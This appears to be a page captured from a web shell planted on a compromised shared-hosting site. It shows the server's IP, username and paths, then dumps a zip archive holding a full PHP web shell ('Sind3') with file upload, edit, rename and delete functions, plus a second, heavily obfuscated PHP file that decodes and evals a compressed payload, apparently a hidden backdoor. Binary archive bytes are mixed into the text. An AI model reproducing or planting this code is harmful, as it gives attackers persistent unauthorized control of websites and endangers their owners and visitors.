AnonSec Team
Server IP : 198.54.120.203  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
User : greakqsw ( 1698)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/greakqsw/theblogginglab.org/nki1b6-20260310131056/cgi-bin/wb1xok/../s96ofr/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/greakqsw/theblogginglab.org/nki1b6-20260310131056/cgi-bin/wb1xok/../s96ofr/nqsl6w.zip
PKOn\Aj�%\%\	962ta.phpnu�[���<?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH']) 
         && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';

function hex($n) {
    $y='';
    for ($i=0; $i < strlen($n); $i++){
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function uhex($y) {
    $n='';
    for ($i=0; $i < strlen($y)-1; $i+=2){
        $n .= chr(hexdec($y[$i].$y[$i+1]));
    }
    return $n;
}
if (isset($_GET["d"])) {
    $d = uhex($_GET["d"]);
    if (is_dir($d)) {
        chdir($d);
    } else {
        $d = getcwd();
    }
} else {
    $d = getcwd();
}
function setFlash($status, $msg) {
    $_SESSION['status'] = $status;
    $_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
    ?>
    <table>
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        foreach ($dirList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
            echo '<td>-</td>';
            echo '<td></td>';
            echo '</tr>';
        }
        foreach ($fileList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td>' . htmlspecialchars($entry) . '</td>';
            echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
            echo '<td>';
            echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
            echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
            echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
            echo '</td>';
            echo '</tr>';
        }
        ?>
        </tbody>
    </table>
    <?php
    exit;
}

if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
    $k = preg_split("/(\\\\|\/)/", $d);
    $breadcrumbHtml = '';
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            $breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        $breadcrumbHtml .= '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            $breadcrumbHtml .= hex($k[$i]);
            if ($i != $m) $breadcrumbHtml .= '2f';
        }
        $breadcrumbHtml .= '">'.$l.'</a>/';
    }
    echo $breadcrumbHtml;
    exit;
}

function safe_stream_copy($in, $out): bool {
    if (PHP_VERSION_ID < 80009) {
        do {
            for (;;) {
                $buff = fread($in, 4096);
                if ($buff === false || $buff === '') {
                    break;
                }
                if (fwrite($out, $buff) === false) {
                    return false;
                }
            }
        } while (!feof($in));
        return true;
    } else {
        return stream_copy_to_stream($in, $out) !== false;
    }
}

if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
    $fileName = $_POST['benkyo'];
    $encodedContent = $_POST['dakeja'];
    $decodedContent = hex2bin($encodedContent);

    if ($decodedContent === false) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
        } else {
            setFlash('failed', 'Invalid Base64 encoding');
            header("Location: ?d=" . hex($d));
        }
        exit;
    }

    $tempStream = fopen('php://temp', 'r+');
    fwrite($tempStream, $decodedContent);
    rewind($tempStream);

    $targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
    $outStream = fopen($targetPath, 'wb');

    $success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);

    if ($outStream) fclose($outStream);
    if ($tempStream) fclose($tempStream);

    if ($success) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
        } else {
            setFlash('success', 'File uploaded successfully');
            header("Location: ?d=" . hex($d));
        }
    } else {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
        } else {
            setFlash('failed', 'File upload failed');
            header("Location: ?d=" . hex($d));
            exit;
        }
    }
    exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
    if ($_GET['action'] === 'delete') {
        $fileName = $_GET['file'];
        $filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
        if (!$filePath || !is_file($filePath)) {
            $response = ['status'=>'failed','msg'=>'File not found or access denied'];
        } else {
            $result = unlink($filePath);
            $response = $result 
                ? ['status'=>'success','msg'=>'File deleted successfully'] 
                : ['status'=>'failed','msg'=>'File deletion failed'];
        }
        header('Content-Type: application/json');
        echo json_encode($response);
        exit; 
    } elseif ($_GET['action'] === 'rename') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
            $oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            $newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
            if ($oldFile && is_file($oldFile)) {
                $result = rename($oldFile, $newFile);
                $response = $result 
                    ? ['status'=>'success','msg'=>'File renamed successfully'] 
                    : ['status'=>'failed','msg'=>'File renaming failed'];
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status'=>'failed','msg'=>'File not found']);
                exit;
            }
        } elseif ($isAjax) {
            echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
            echo '<div class="terminal-box">';
            echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
            echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
            echo '<br><input type="submit" value="Rename"> ';
            echo '<button type="button" id="cancelAction">Cancel</button>';
            echo '</form>';
            echo '</div><hr>';
            exit;
        }
    } elseif ($_GET['action'] === 'edit') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $fp = fopen($filePath, "w");
                if ($fp) {
                    $bytesWritten = fwrite($fp, stripslashes($_POST['content']));
                    fclose($fp);
                    $response = ($bytesWritten !== false)
                        ? ['status' => 'success', 'msg' => 'File edited successfully']
                        : ['status' => 'failed', 'msg' => 'File editing failed'];
                } else {
                    $response = ['status' => 'failed', 'msg' => 'File opening failed'];
                }
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
                exit;
            }        
        } elseif ($isAjax) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $content = file_get_contents($filePath);
                echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
                echo '<div class="terminal-box">';
                echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
                echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
                echo '<br><input type="submit" value="Save"> ';
                echo '<button type="button" id="cancelAction">Cancel</button>';
                echo '</form>';
                echo '</div><hr>';
            }
            exit;
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Sind3</title>
    <!-- Load Ubuntu Mono from Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
    <style>
        * { box-sizing: border-box; }
        body {
            background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
            color: #fff;
            font-family: 'Ubuntu Mono', monospace;
            margin: 0;
            padding: 0;
        }
        .container {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .futer {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .breadcrumbs { margin-bottom: 15px; }
        a { color: #0f0; text-decoration: none; }
        a:hover { text-decoration: underline; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { border: 1px solid #555; padding: 8px; text-align: left; }
        th { background-color: #333; }
        input[type="text"], textarea {
            width: 100%;
            padding: 8px;
            margin: 0;
            border: 1px solid #333;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
        }
        input[type="submit"], button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
        }
        form { margin-bottom: 20px; }
        .terminal-box {
            background-color: #222;
            color: #0f0;
            padding: 15px;
            border: 1px solid #333;
            border-radius: 4px;
            margin-bottom: 20px;
        }
        .terminal-box input[type="text"],
        .terminal-box textarea {
            background-color: #222;
            color: #0f0;
            border: 1px solid #333;
        }
        .notification {
            position: fixed;
            bottom: 20px;
            left: 20px;
            padding: 10px 20px;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
            font-size: 14px;
        }
        .success { background-color: #0a0; color: #fff; }
        .failed { background-color: #a00; color: #fff; }
        /* Custom file input button styling */
        #fileInput {
            display: none;
        }
        .custom-file-button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
            display: inline-block;
        }
    </style>
</head>
<body>
<div class="container">
    &thinsp;&thinsp;&thinsp;<b>SERV  :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
    &thinsp;&thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
    &thinsp;&thinsp;&thinsp;<b>IP  &nbsp;&nbsp;:</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
    <br><b>&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212</b>
    <br><br><form id="uploadForm" class="ajaxForm" method="POST">
        <label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
        <input type="file" id="fileInput" required>
        <input type="submit" value="Upload">
    </form>

    <br><div id="breadcrumbContainer">
    <?php
    $k = preg_split("/(\\\\|\/)/", $d);
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            echo '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        echo '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            echo hex($k[$i]);
            if ($i != $m) echo '2f';
        }
        echo '">'.$l.'</a>/';
    }
    ?>
</div><br>
<div id="actionContainer"></div><br>
    <div id="fileListContainer">
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        ?>
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
            <?php
            foreach ($dirList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
                echo '<td>-</td>';
                echo '<td></td>';
                echo '</tr>';
            }
            foreach ($fileList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td>' . htmlspecialchars($entry) . '</td>';
                echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
                echo '<td>';
                echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
                echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
                echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
                echo '</td>';
                echo '</tr>';
            }
            ?>
            </tbody>
        </table>
    </div>
</div>

<div class="notification" id="notification" style="display:none;"></div>

<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
    var notif = document.getElementById('notification');
    notif.className = 'notification ' + status;
    notif.innerText = msg;
    notif.style.display = 'block';
    setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}

function loadBreadcrumb() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('breadcrumbContainer').innerHTML = html;
    });
}

function getQueryParam(name) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(name);
}

function loadFileList() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('fileListContainer').innerHTML = html;
        attachAjaxEvents(); // reattach events after update
        resetFileInputLabel();
    });
}

function resetFileInputLabel() {
    var label = document.getElementById('fileLabel');
    if(label) {
        label.textContent = "Choose File";
    }
}

function attachAjaxEvents() {
    document.querySelectorAll('.ajaxDelete').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                loadFileList();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxEdit').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxRename').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxDir').forEach(function(link) {
    link.addEventListener('click', function(e) {
        e.preventDefault();
        window.history.pushState(null, '', link.href);
        loadFileList();  // Reload the file list
        loadBreadcrumb(); // Reload the breadcrumb
        resetFileInputLabel();
        resetFileInput();
    });
});
}

function attachAjaxForm() {
    document.querySelectorAll('.ajaxForm').forEach(function(form) {
        form.addEventListener('submit', function(e) {
            e.preventDefault();
            var formData = new FormData(form);
            fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                document.getElementById('actionContainer').innerHTML = '';
                loadFileList();
                resetFileInputLabel();
            });
        });
    });
}

function attachCancelEvent() {
    var cancelBtn = document.getElementById('cancelAction');
    if(cancelBtn) {
        cancelBtn.addEventListener('click', function() {
            document.getElementById('actionContainer').innerHTML = '';
            resetFileInputLabel();
        });
    }
}

function resetFileInput() {
    var fileInput = document.getElementById('fileInput');
    var fileLabel = document.getElementById('fileLabel');
    if (fileInput) {
        fileInput.value = ""; // Clear any selected file
    }
    if (fileLabel) {
        fileLabel.textContent = "Choose File"; // Reset label text
    }
}

document.addEventListener('DOMContentLoaded', function() {
    attachAjaxEvents();
    var fileInput = document.getElementById('fileInput');
    var uploadForm = document.getElementById('uploadForm');

    fileInput.addEventListener('change', function() {
        var label = document.getElementById('fileLabel');
        if(fileInput.files.length > 0) {
            label.textContent = fileInput.files[0].name;
        } else {
            label.textContent = "Choose File";
        }
    });

    if(uploadForm) {
        uploadForm.addEventListener('submit', function(e) {
            e.preventDefault();
            if(fileInput.files.length === 0) return;

            var file = fileInput.files[0];
            var reader = new FileReader();

            reader.onload = function(event) {
                var arrayBuffer = event.target.result;
                var bytes = new Uint8Array(arrayBuffer);
                var hexString = '';
                for (var i = 0; i < bytes.length; i++) {
                    hexString += bytes[i].toString(16).padStart(2, '0');
                }

                var formData = new FormData();
                formData.append("benkyo", file.name);
                formData.append("dakeja", hexString);

                fetch(uploadForm.action || window.location.href, {
                    method: 'POST',
                    body: formData,
                    headers: { 'X-Requested-With': 'XMLHttpRequest' }
                })
                .then(response => response.json())
                .then(data => {
                    showNotification(data.status, data.msg);
                    uploadForm.reset();
                    resetFileInputLabel();
                    loadFileList();
                });
            };

            reader.readAsArrayBuffer(file);
        });
    }
});
</script>
<footer class="futer">
				&copy; zeinhorobosu
			</footer>
</body>
</html>
PKOn\��Ș��	about.phpnu�[���<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>6YWKWFGDPYMC7A6C</RequestId><HostId>nB/9Zou8nUdQKxEFYG7aVQjAivYnrrTgjt4qWSRJSt6gaXsFpmk/tCDYj+iSNVctWivzbWlb5ZA=</HostId></Error>PKOn\o�e�*�*�	bepyo.phpnu�[���<?php


/*
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
*/    goto   ���;�է�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;���:error_reporting(0);goto ݀��;���:function �ߕ(){goto ����;���:Ϸ��:goto ����;����:if(!($����[0x001]==$��+0x02d))goto Ϸ��;goto ��Ƚ;���:�ꝇ:goto �߯�;����:return "\x73\164\162\154\x65\x6e";goto ���;آ��:if(!($����[0x0002]==$��+0x00000b8))goto ��;goto 䝺�;���:ӆ��:goto آ��;�΄:$����=func_get_args();goto ����;��Ƚ:return base64_decode(join("",array('c','G','9','3')));goto ���;���:��:goto ����;䝺�:return base64_decode('YmFzZTY0X2RlY29kZQ');goto ���;����:return((parse_str("cm91bmQ",$읹�)||$읹�)?base64_decode(key($읹�)):"");goto ���;����:if(!($����[0x0002]==$��+0x00128))goto �ꝇ;goto ����;����:$��=0x01842;goto �΄;����:if(!($����[0x001]==$��+0x006f))goto ӆ��;goto ����;�߯�:}goto ��;�IJ�:eval(FYnYw(����(0x0000024b2)));goto �է�;���:$���=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ����;݀��:function ����(){goto ����;����:֔��:goto ㅃ�;����:$ʟ��=0x00240a;goto ��ӝ;��ӝ:$�ȩ�=func_get_args();goto �ʟ�;ϱ��:if(!($�ȩ�[0]==$ʟ��+0x0000a8))goto ѧŹ;goto ����;����:return "\157\x72\144";goto ����;����:���:goto ϱ��;���:return "\x63\x68\162";goto ����;��ʂ:ѧŹ:goto ����;����:return(($���=gzinflate(substr(base64_decode('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